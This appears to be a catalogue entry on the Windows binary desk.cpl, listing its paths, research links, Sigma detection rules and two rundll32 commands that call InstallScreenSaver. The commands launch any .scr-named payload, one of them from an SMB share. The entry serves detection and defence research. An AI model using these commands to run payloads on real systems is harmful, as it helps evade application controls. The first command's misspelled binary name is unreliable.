... /Desk.cpl



Desktop Settings Control Panel

Paths:

C:\Windows\System32\desk.cpl
C:\Windows\SysWOW64\desk.cpl

Resources:

- https://vxug.fakedoma.in/zines/29a/29a7/Articles/29A-7.030.txt
- https://twitter.com/pabraeken/status/998627081360695297
- https://twitter.com/VakninHai/status/1517027824984547329
- https://jstnk9.github.io/jstnk9/research/lnstallScreenSaver-SCR-files

Acknowledgements:

- Rafael S Marques (<u>@pegabizu</u>)
- Pierre-Alexandre Braeken (<u>@pabraeken</u>)
- hai (<u>@VakninHai</u>)
- Christopher Peacock (@SecurePeacock)
- Jose Luis Sanchez (<u>@Joseliyo Jstnk</u>)

Detections:

Sigma:

https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/file/file_e_vent/file_event_win_new_src_file.yml

• Sigma:

https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_lolbin_rundll32_installscreensaver.yml

Sigma:

https://github.com/SigmaHQ/sigma/blob/940f89d43dbac5b7108610a5bde47cda0d2a643b/rules/windows/registry/registry_set_scr_file_executed_by_rundll32.yml

Execute

. Launch an executable with a .scr extension by calling the InstallScreenSaver function.

rundl132.exe desk.cpl,InstallScreenSaver C:\temp\file.scr

Use case: Launch any executable payload, as long as it uses the .scr extension.

Privileges required: User

Operating systems: Windows 10, Windows 11

ATT&CK® technique: T1218.011

Launch a remote executable with a .scr extension, located on an SMB share, by calling the InstallScreenSaver function.

rundll32.exe desk.cpl,InstallScreenSaver \\127.0.0.1\c\$\temp\file.scr

Use case: Launch any executable payload, as long as it uses the .scr extension.

Privileges required: User

Operating systems: Windows 10, Windows 11

ATT&CK® technique: T1218.011